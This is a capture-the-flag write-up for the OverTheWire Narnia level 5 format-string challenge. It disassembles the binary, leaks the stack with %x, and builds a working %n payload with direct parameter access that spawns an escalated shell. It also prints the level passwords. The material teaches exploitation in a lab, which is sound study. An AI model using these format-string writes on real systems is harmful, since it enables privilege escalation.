Some extremely useful reading for this challenge can be found in a pdf from Stanford: https://cs155.stanford.edu/papers/formatstring-1.2.pdf. This covers a good overview as well as the functions that are vulnerable to this sort of exploit. Another important topic covered in that pdf is the idea of direct parameter access (which is a *nix only feature of the print family functions).
narnia5
How to log into Narnia:
ssh -p 2226 narnia5@narnia.labs.overthewire.org
Password: faimahchiy
Where to find all of the challenges:
cd /narnia/
First and foremost, try running:
1
2
3
4
|
narnia5@narnia:/narnia$ ./narnia5
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [] (0)
i = 1 (0xffffd6e0)
|
And with some input:
1
2
3
4
|
narnia5@narnia:/narnia$ ./narnia5 AAAA
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA] (4)
i = 1 (0xffffd6e0)
|
And with a lot of input (going for that easy SEGFAULT):
1
2
3
4
|
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "A"*1024')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] (63)
i = 1 (0xffffd2e0)
|
Well no luck, seems the input string that’s copied into buffer gets truncated to 64 characters regardless of the length of the input. So not a clear buffer overflow exploit, must be something else, especially since we want to write to i and make it 500. So next up is to use objdump and get an idea of what main is doing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
narnia5@narnia:/narnia$ objdump -M intel -d narnia5 | awk -F"\n" -v RS="\n\n" '$1 ~ /main/'
0804850b <main>:
804850b: 55 push ebp
804850c: 89 e5 mov ebp,esp
804850e: 53 push ebx
804850f: 83 ec 44 sub esp,0x44
8048512: c7 45 f8 01 00 00 00 mov DWORD PTR [ebp-0x8],0x1
8048519: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804851c: 83 c0 04 add eax,0x4
804851f: 8b 00 mov eax,DWORD PTR [eax]
8048521: 50 push eax
8048522: 6a 40 push 0x40
8048524: 8d 45 b8 lea eax,[ebp-0x48]
8048527: 50 push eax
8048528: e8 c3 fe ff ff call 80483f0 <snprintf@plt>
804852d: 83 c4 0c add esp,0xc
8048530: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
8048534: 68 50 86 04 08 push 0x8048650
8048539: e8 42 fe ff ff call 8048380 <printf@plt>
804853e: 83 c4 04 add esp,0x4
8048541: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048544: 3d f4 01 00 00 cmp eax,0x1f4
8048549: 75 30 jne 804857b <main+0x70>
804854b: 68 71 86 04 08 push 0x8048671
8048550: e8 4b fe ff ff call 80483a0 <puts@plt>
8048555: 83 c4 04 add esp,0x4
8048558: e8 33 fe ff ff call 8048390 <geteuid@plt>
804855d: 89 c3 mov ebx,eax
804855f: e8 2c fe ff ff call 8048390 <geteuid@plt>
8048564: 53 push ebx
8048565: 50 push eax
8048566: e8 55 fe ff ff call 80483c0 <setreuid@plt>
804856b: 83 c4 08 add esp,0x8
804856e: 68 76 86 04 08 push 0x8048676
8048573: e8 38 fe ff ff call 80483b0 <system@plt>
8048578: 83 c4 04 add esp,0x4
804857b: 68 80 86 04 08 push 0x8048680
8048580: e8 1b fe ff ff call 80483a0 <puts@plt>
8048585: 83 c4 04 add esp,0x4
8048588: 8d 45 b8 lea eax,[ebp-0x48]
804858b: 50 push eax
804858c: e8 3f fe ff ff call 80483d0 <strlen@plt>
8048591: 83 c4 04 add esp,0x4
8048594: 50 push eax
8048595: 8d 45 b8 lea eax,[ebp-0x48]
8048598: 50 push eax
8048599: 68 a1 86 04 08 push 0x80486a1
804859e: e8 dd fd ff ff call 8048380 <printf@plt>
80485a3: 83 c4 0c add esp,0xc
80485a6: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
80485a9: 8d 55 f8 lea edx,[ebp-0x8]
80485ac: 52 push edx
80485ad: 50 push eax
80485ae: 68 b5 86 04 08 push 0x80486b5
80485b3: e8 c8 fd ff ff call 8048380 <printf@plt>
80485b8: 83 c4 0c add esp,0xc
80485bb: b8 00 00 00 00 mov eax,0x0
80485c0: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
80485c3: c9 leave
80485c4: c3 ret
80485c5: 66 90 xchg ax,ax
80485c7: 66 90 xchg ax,ax
80485c9: 66 90 xchg ax,ax
80485cb: 66 90 xchg ax,ax
80485cd: 66 90 xchg ax,ax
80485cf: 90 nop
|
Right off the bat reserve 68 bytes, which is likely just the buffer and some other local (the i?):
1
|
804850f: 83 ec 44 sub esp,0x44
|
Continuing to get the broad picture of the assembly, this comparison jumps out, as it’s the comparison to 500 (0x1f4) that we need to get past. So whatever we need to do must be before this, additionally this means that $eax at this point is the value of i:
1
|
8048544: 3d f4 01 00 00 cmp eax,0x1f4
|
Working backwards it seems the value of i is populated via:
1
|
8048541: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
|
Rolling it back even more we can see the value of 1 get moved into $ebp-0x8:
1
|
8048512: c7 45 f8 01 00 00 00 mov DWORD PTR [ebp-0x8],0x1
|
What’s been a common occurrence thus far is to expect that $ebp+0xc is usually argv[]. argv[0] is the name of the binary, so increment the index of the array to get to argv[1]. Store the address in $eax, and push it to the stack, push the size of the buffer to the stack (64 bytes or 0x40), push the address of the buffer to the stack. Now that there’s been enough pushing to satisfy the prototype for snprintf, call it.
1
2
3
4
5
6
7
8
|
8048519: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804851c: 83 c0 04 add eax,0x4
804851f: 8b 00 mov eax,DWORD PTR [eax]
8048521: 50 push eax
8048522: 6a 40 push 0x40
8048524: 8d 45 b8 lea eax,[ebp-0x48]
8048527: 50 push eax
8048528: e8 c3 fe ff ff call 80483f0 <snprintf@plt> # int snprintf ( char * s, size_t n, const char * format, ... );
|
The most interesting thing here is that snprintf is relying on argv[1] for the format string. So this is likely the point at which an exploit exists. Last thing to note, successfully changing i should put us into an escalated shell based on this little snippet:
1
2
3
4
5
6
|
8048564: 53 push ebx
8048565: 50 push eax
8048566: e8 55 fe ff ff call 80483c0 <setreuid@plt>
804856b: 83 c4 08 add esp,0x8
804856e: 68 76 86 04 08 push 0x8048676
8048573: e8 38 fe ff ff call 80483b0 <system@plt>
|
This leaves us with one option. Abuse format strings in order to exploit the value of i. Format String Exploits allow for both information leaking and writing of arbitrary data. So, the goal here is two fold, see what sort of information we can leak from the stack, and second see if we can do any sort of writes.
Given that we can provide our format strings to this program, first thing to do is to try to leak information with %x to inspect what’s going on in the stack. With 6x%x we can see some of the values on the stack, an address followed by the contents of the input format string.
1
2
3
4
|
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "%x."*6')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [f7fc5000.30303035.3330332e.33303330.33332e35.33333033.] (54)
i = 1 (0xffffd6d0)
|
Since snprintf is used increasing the number of %x used won’t leak any extra information since they just get truncated.
1
2
3
4
|
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "%x."*10')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [f7fc5000.30303035.3330332e.33303330.33332e35.33333033.332e6532.] (63)
i = 1 (0xffffd6d0)
|
We don’t have to abandon all hope yet, there’s a trick, ltrace can be used to peek in a bit more and see much more of what was actually going on in the snprintf before it truncates:
1
2
3
4
5
6
7
8
9
10
11
12
|
narnia5@narnia:/narnia$ ltrace ./narnia5 $(python -c 'print "%x."*64')
__libc_start_main(0x804850b, 2, 0xffffd6c4, 0x80485d0 <unfinished ...>
snprintf("f7fc5000.30303035.3330332e.33303"..., 64, "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"..., 0x63663766, 0x30303035, 0x3330332e, 0x33303330, 0x33332e35, 0x33333033, 0x332e6532, 0x33303333, 0x2e303333, 0x33333333, 0x35336532, 0x3333332e, 0x33303333, 0x33332e33, 0x35366532, 0x2e3233, 0x1, 0, 0, 0xf7e2a286, 0x2, 0xffffd6c4, 0xffffd6d0, 0, 0, 0, 0xf7fc5000, 0xf7ffdc0c, 0xf7ffd000, 0, 0x2, 0xf7fc5000, 0, 0xcfe79415, 0xf50f7805, 0, 0, 0, 0x2, 0x8048410, 0, 0xf7fee710, 0xf7e2a199, 0xf7ffd000, 0x2, 0x8048410, 0, 0x8048431, 0x804850b, 0x2, 0xffffd6c4, 0x80485d0, 0x8048630, 0xf7fe9070, 0xffffd6bc, 0xf7ffd920, 0x2, 0xffffd7e8, 0xffffd7f2, 0, 0xffffd8b3, 0xffffd8c6, 0xffffde82, 0xffffdeb8) = 428
printf("Change i's value from 1 -> 500. "...) = 32
puts("No way...let me give you a hint!"...Change i's value from 1 -> 500. No way...let me give you a hint!
) = 33
strlen("f7fc5000.30303035.3330332e.33303"...) = 63
printf("buffer : [%s] (%d)\n", "f7fc5000.30303035.3330332e.33303"..., 63buffer : [f7fc5000.30303035.3330332e.33303330.33332e35.33333033.332e6532.] (63)
) = 80
printf("i = %d (%p)\n", 1, 0xffffd620i = 1 (0xffffd620)
) = 19
+++ exited (status 0) +++
|
The contents of the stack are now visible for viewing. The most interesting thing is the 0x1 after the 0x2e3233, this is likely the value of the one that needs to be changed. The other notable piece of information here is that the total number of characters is printed here 428.
Taking a look at GDB we can see a similar layout:
1
2
3
4
5
6
|
(gdb) x/80xw $esp
0xffffd5a4: 0xffffd5b0 0x00000040 0xffffd7da 0x63663766
0xffffd5b4: 0x30303035 0x3330332e 0x33303330 0x33332e35
0xffffd5c4: 0x33333033 0x332e6532 0x33303333 0x2e303333
0xffffd5d4: 0x33333333 0x35336532 0x3333332e 0x33303333
0xffffd5e4: 0x33332e33 0x35366532 0x002e3233 0x00000001
|
Finishing the execution of the program, we can use the address printed to the location of i and verify that our stack shows the corresponding value of 1.
1
2
3
4
5
6
|
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [f7fc5000.30303035.3330332e.33303330.33332e35.33333033.332e6532.] (63)
i = 1 (0xffffd5f0)
[Inferior 1 (process 21261) exited normally]
|
So now that we know we can leak all the information we could possible want, it’s time to move onto to using snprintf to write some data. One of the fundamentals of Format String Bugs is that it is possible to write arbitrary values using %n.
%n is a bit strange when first thinking about it, the purpose of it is to write the number of characters written up to the point where the %n is hit in the format string. Put in another way printf("abcd%n", &x); would populate x with 4. Something else worth nothing, snprintf also informed us how many characters we would have written. When you combine those two things we have an opportunity to exploit by “fake writing” a bunch of characters with width (%<x.y>x) format specifiers. We can confirm this behavior by using ltrace and running narnia5:
1
2
3
|
narnia5@narnia:/narnia$ ltrace ./narnia5 $(python -c 'print "%.500x"')
__libc_start_main(0x804850b, 2, 0xffffd784, 0x80485d0 <unfinished ...>
snprintf("00000000000000000000000000000000"..., 64, "%.500x", 0x30303030) = 500
|
The %.500x specifies that leading zeros up to the printed value need to be provided. And the total number of characters is 500.
With a format string like this, the stack looks like:
1
2
3
4
5
6
|
(gdb) x/40xw $esp
0xffffd664: 0xffffd670 0x00000040 0xffffd894 0x30303030
0xffffd674: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffd684: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffd694: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffd6a4: 0x30303030 0x30303030 0x00303030 0x00000001
|
Now where it starts to get a bit strange, %n needs an address to write to (in the example above that was &x). Another way to think about it in our scenario is we are looking for an offset into the stack where we can get to the 1. Something to note is that if provided slightly different input, and combined with how the %xs are handled you can start to see how the values get pulled from the stack to start being printed:
1
|
Starting program: /narnia/narnia5 $(python -c 'print "AAAABBBBCCCCDDDDFFFFGGGGHHHHIIIIJJJJKKKKLLLL%x%x%x%x"')
|
The final output shows the “AAAA” being printed first.
1
2
3
4
5
|
Breakpoint 1, 0x08048528 in main ()
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAABBBBCCCCDDDDFFFFGGGGHHHHIIIIJJJJKKKKLLLL4141414142424242434] (63)
|
Looking at all of the memory on the stack, we can see the sequential prints off the stack:
1
2
3
|
(gdb) x/40xw $esp
0xffffd634: 0xffffd640 0x00000040 0xffffd866 0x41414141
0xffffd644: 0x42424242 0x43434343 0x44444444 0x46464646
|
It stands to reason that we should be able to exploit this by providing a specific address instead of the AAAA:
1
2
3
4
5
|
(gdb) r $(python -c 'print "\x44\xd6\xff\xff" + "%n"')
Starting program: /narnia/narnia5 $(python -c 'print "\x44\xd6\xff\xff" + "%n"')
(gdb) x/w 0xffffd644
0xffffd644: 0x00000004
|
As expected the %n wrote 4 for the number of bytes that were written (aka the number of bytes in the address). Combing that with the address we know is the i, it is now possible to write any value to it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
(gdb) r $(python -c 'print "\xb0\xd6\xff\xff" + "%n"')
Starting program: /narnia/narnia5 $(python -c 'print "\xb0\xd6\xff\xff" + "%n"')
Breakpoint 1, 0x08048528 in main ()
(gdb) ni
0x0804852d in main ()
(gdb) x/40xw $esp
0xffffd664: 0xffffd670 0x00000040 0xffffd894 0xffffd6b0
0xffffd674: 0xffffd700 0xf7ffcd00 0x00200000 0x00000001
0xffffd684: 0x00000000 0xf7e40890 0x0804861b 0x00000002
0xffffd694: 0xffffd754 0xffffd760 0x080485f1 0xf7fc53dc
0xffffd6a4: 0x0804822c 0x080485d9 0x00000000 0x00000004
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [????] (4)
i = 4 (0xffffd6b0)
|
Now that we’ve got mastery over the value of i it’s time to bend the format string to our will and finish this challenge off. We can abuse the format string entirely to put the address we want to write plus the necessary zeros (i.e.: %.500- 4 bytes for address), and then have %n write the total number of bytes written to that address.
Giving us something like: \xAA\xBB\xCC\xDD" + "%.496x%n", so we should be good to go:
1
2
|
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff" + "%.496x%n"')
Segmentation fault
|
Well that didn’t go as expected, so something was missed. I wracked my brain on this for a bit, double and triple checking that the address is correct, it still isn’t working. Seems that Direct Parameter Access (DPA) is actually needed given the length of the string we are trying to force into snprintf. Luckily, we know that looking at the stack it’s the first element of our buffer. So the DPA is just offset = 1, which gives the strange syntax of %1$n.
1
2
3
4
|
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff" + "%.496x%1$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
Narnia6
|
And the password:
1
2
|
$ cat /etc/narnia_pass/narnia6
neezocaeng
|